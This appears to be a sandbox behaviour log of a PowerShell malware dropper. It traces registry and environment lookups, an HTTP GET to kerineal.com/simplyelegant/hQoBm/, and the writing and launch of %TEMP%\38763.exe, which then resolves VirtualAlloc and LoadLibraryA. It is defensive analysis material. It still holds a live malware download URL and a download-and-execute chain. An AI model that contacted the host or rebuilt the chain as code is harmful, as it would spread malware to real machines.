Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
Environment | Get Environment String | name = HOMEDRIVE, result_out = C: | 1 |
Fn
|
|
Environment | Get Environment String | name = HOMEPATH, result_out = \Users\ATVeyDl98Z | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\, type = file_attributes | 4 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 2 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 5 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\Desktop, type = file_attributes | 2 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
File | Get Info | filename = C:\, type = file_attributes | 2 |
Fn
|
|
File | Get Info | filename = C:\Users, type = file_attributes | 2 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z, type = file_attributes | 2 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\Desktop, type = file_attributes | 2 |
Fn
|
|
File | Get Info | filename = C:\Users, type = file_attributes | 2 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z, type = file_attributes | 2 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\Desktop, type = file_attributes | 3 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 2 |
Fn
|
|
Environment | Get Environment String | name = HomeDrive, result_out = C: | 1 |
Fn
|
|
Environment | Get Environment String | name = HomePath, result_out = \Users\ATVeyDl98Z | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 11 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\Documents\WindowsPowerShell\profile.ps1, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1, type = file_attributes | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 7 |
Fn
|
|
File | Open | filename = STD_INPUT_HANDLE | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Socket | Close | type = SOCK_STREAM | 1 |
Fn
|
|
Inet | Close Session | 1 |
Fn
|
||
Socket | Close | type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Close | type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Close | type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Close | type = SOCK_DGRAM | 1 |
Fn
|
|
Module | Unmap | process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe | 1 |
Fn
|
|
Module | Unmap | process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Environment | Get Environment String | name = MshEnableTrace | 21 |
Fn
|
|
COM | Get Class ID | cls_id = 72C24DD5-D70A-438B-8A42-98424B88AFB8, prog_id = WScript.Shell | 1 |
Fn
|
|
COM | Create | interface = 00000001-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
Environment | Get Environment String | name = TEMP, result_out = C:\Users\ATVEYD~1\AppData\Local\Temp | 2 |
Fn
|
|
Module | Get Filename | process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = file_attributes | 2 |
Fn
|
|
File | Create | filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = file_type | 2 |
Fn
|
|
File | Get Info | filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = size, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 4096 | 6 |
Fn
Data
|
|
File | Read | filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 1459 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 0 | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config, type = file_attributes | 2 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, type = file_type | 2 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = Client, type = REG_SZ | 1 |
Fn
|
|
Socket | Create | protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Close | type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Create | protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Close | type = SOCK_DGRAM | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = netfxperf.dll, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, type = REG_DWORD_LITTLE_ENDIAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, data = 1, type = REG_DWORD_LITTLE_ENDIAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, type = REG_DWORD_LITTLE_ENDIAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, data = 4160, type = REG_DWORD_LITTLE_ENDIAN | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = CategoryOptions, type = REG_DWORD_LITTLE_ENDIAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = CategoryOptions, data = 3, type = REG_DWORD_LITTLE_ENDIAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = FileMappingSize, type = REG_DWORD_LITTLE_ENDIAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = FileMappingSize, data = 131072, type = REG_DWORD_LITTLE_ENDIAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = Counter Names, type = REG_BINARY | 2 |
Fn
Data
|
|
Module | Create Mapping | filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 131072 | 1 |
Fn
|
|
Module | Map | process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, desired_access = FILE_MAP_WRITE | 1 |
Fn
|
|
System | Get Info | type = Operating System | 2 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Open | mutex_name = Global\.net clr networking, desired_access = MUTEX_MODIFY_STATE, SYNCHRONIZE | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\.net clr networking | 1 |
Fn
|
|
Socket | Create | protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Create | protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings | 1 |
Fn
|
|
Socket | Create | protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM | 1 |
Fn
|
|
Socket | Create | protocol = IPPROTO_TCP, address_family = AF_INET6, type = SOCK_STREAM | 1 |
Fn
|
|
DNS | Resolve Name | host = kerineal.com, address_out = 184.168.152.148 | 1 |
Fn
|
|
Socket | Create | protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Create | protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM | 1 |
Fn
|
|
Socket | Connect | remote_address = 184.168.152.148, remote_port = 80 | 1 |
Fn
|
|
Socket | Close | type = SOCK_STREAM | 1 |
Fn
|
|
Socket | Send | flags = NO_FLAG_SET, size = 82, size_out = 82 | 1 |
Fn
Data
|
|
Inet | Open Session | access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS | 1 |
Fn
|
|
Inet | Open Connection | protocol = http, server_name = kerineal.com, server_port = 80 | 1 |
Fn
|
|
Inet | Open HTTP Request | http_verb = GET, http_version = HTTP/1.1, target_resource = /simplyelegant/hQoBm/ | 1 |
Fn
|
|
Inet | Send HTTP Request | headers = host: kerineal.com, connection: Keep-Alive, url = kerineal.com/simplyelegant/hQoBm/ | 1 |
Fn
Data
|
|
Socket | Receive | flags = NO_FLAG_SET, size = 4096, size_out = 4096 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 4096, size_out = 4096 | 1 |
Fn
Data
|
|
Socket | Receive | flags = NO_FLAG_SET, size = 65536, size_out = 3164 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 65536, size_out = 3164 | 1 |
Fn
Data
|
|
File | Write | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, size = 4096 | 1 |
Fn
Data
|
|
Socket | Receive | flags = NO_FLAG_SET, size = 65536, size_out = 59532 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 65536, size_out = 59532 | 1 |
Fn
Data
|
|
File | Write | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, size = 4096 | 1 |
Fn
Data
|
|
File | Write | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, size = 58251 | 1 |
Fn
Data
|
|
Socket | Receive | flags = NO_FLAG_SET, size = 19573, size_out = 8712 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 19573, size_out = 8712 | 1 |
Fn
Data
|
|
File | Write | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, size = 8712 | 1 |
Fn
Data
|
|
Socket | Receive | flags = NO_FLAG_SET, size = 10861, size_out = 3752 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 10861, size_out = 3752 | 1 |
Fn
Data
|
|
Socket | Receive | flags = NO_FLAG_SET, size = 7109, size_out = 604 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 7109, size_out = 604 | 1 |
Fn
Data
|
|
File | Write | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, size = 4096 | 1 |
Fn
Data
|
|
Socket | Receive | flags = NO_FLAG_SET, size = 6505, size_out = 6505 | 1 |
Fn
Data
|
|
Inet | Read Response | size = 6505, size_out = 6505 | 1 |
Fn
Data
|
|
File | Write | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, size = 4096 | 1 |
Fn
Data
|
|
File | Write | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, size = 2669 | 1 |
Fn
Data
|
|
Environment | Get Environment String | name = MshEnableTrace | 2 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Temp\38763.exe, type = file_attributes | 3 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 2 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\Desktop, type = file_attributes | 2 |
Fn
|
|
Process | Get Info | type = PROCESS_BASIC_INFORMATION | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Process | Create | process_name = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, show_window = SW_SHOWNORMAL | 1 |
Fn
|
Information | Value |
---|---|
ID | #3 |
File Name | c:\users\atveyd~1\appdata\local\temp\38763.exe |
Command Line | "C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe" |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:00:54, Reason: Child Process |
Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:01:40 |
Information | Value |
---|---|
PID | 0xb60 |
Parent PID | 0xad4 (c:\windows\system32\windowspowershell\v1.0\powershell.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
B64
0x
B68
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
private_0x0000000000010000 | 0x00010000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000020000 | 0x00020000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000030000 | 0x00030000 | 0x0012ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000130000 | 0x00130000 | 0x00133fff | Pagefile Backed Memory | Readable |
|
|||
locale.nls | 0x00140000 | 0x001a6fff | Memory Mapped File | Readable |
|
|||
pagefile_0x00000000001b0000 | 0x001b0000 | 0x00277fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000280000 | 0x00280000 | 0x00280fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000290000 | 0x00290000 | 0x0038ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000390000 | 0x00390000 | 0x00390fff | Private Memory | Readable, Writable |
|
|||
private_0x00000000003a0000 | 0x003a0000 | 0x003adfff | Private Memory | Readable, Writable |
|
|||
private_0x00000000003b0000 | 0x003b0000 | 0x003bcfff | Private Memory | Readable, Writable, Executable |
|
|||
private_0x00000000003c0000 | 0x003c0000 | 0x003ccfff | Private Memory | Readable, Writable |
|
|||
38763.exe | 0x00400000 | 0x00415fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x0000000000420000 | 0x00420000 | 0x00520fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000530000 | 0x00530000 | 0x0112ffff | Pagefile Backed Memory | Readable |
|
|||
private_0x00000000011c0000 | 0x011c0000 | 0x011cffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000011d0000 | 0x011d0000 | 0x012cffff | Private Memory | Readable, Writable |
|
|||
sortdefault.nls | 0x012d0000 | 0x0159efff | Memory Mapped File | Readable |
|
|||
winspool.drv | 0x6d400000 | 0x6d450fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
webio.dll | 0x6f5b0000 | 0x6f5fefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winhttp.dll | 0x6f600000 | 0x6f657fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sspicli.dll | 0x75640000 | 0x7565afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msasn1.dll | 0x75780000 | 0x7578bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
crypt32.dll | 0x757b0000 | 0x758ccfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll | 0x758d0000 | 0x75919fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
usp10.dll | 0x75a70000 | 0x75b0cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
lpk.dll | 0x75b10000 | 0x75b19fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrt4.dll | 0x75b60000 | 0x75c00fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
user32.dll | 0x75c10000 | 0x75cd8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
urlmon.dll | 0x75ce0000 | 0x75e15fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
iertutil.dll | 0x75e30000 | 0x7602afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
advapi32.dll | 0x76030000 | 0x760cffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shlwapi.dll | 0x760e0000 | 0x76136fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sechost.dll | 0x76330000 | 0x76348fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernel32.dll | 0x76350000 | 0x76423fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
imm32.dll | 0x77140000 | 0x7715efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wininet.dll | 0x771e0000 | 0x772d4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msctf.dll | 0x772e0000 | 0x773abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcrt.dll | 0x773b0000 | 0x7745bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ole32.dll | 0x77460000 | 0x775bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntdll.dll | 0x775c0000 | 0x776fbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdi32.dll | 0x77710000 | 0x7775dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
oleaut32.dll | 0x77760000 | 0x777eefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apisetschema.dll | 0x77800000 | 0x77800fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x000000007f6f0000 | 0x7f6f0000 | 0x7f7effff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x000000007ffb0000 | 0x7ffb0000 | 0x7ffd2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffdc000 | 0x7ffdc000 | 0x7ffdcfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffde000 | 0x7ffde000 | 0x7ffdefff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdf000 | 0x7ffdf000 | 0x7ffdffff | Private Memory | Readable, Writable |
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd10 | 1 |
Fn
|
|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd50 | 1 |
Fn
|
|
Module | Get Address | function = LoadLibraryA, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = GetProcAddress, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = VirtualProtect, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = UnmapViewOfFile, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = AddVectoredExceptionHandler, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = RemoveVectoredExceptionHandler, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Load | module_name = ntdll.dll, base_address = 0x775c0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = cos, address_out = 0x77607400 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = sin, address_out = 0x775f41c0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = strchr, address_out = 0x77607690 | 1 |
Fn
|
|
Module | Load | module_name = KERNEL32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = LoadLibraryA, address_out = 0x763a395c | 1 |
Fn
|
|
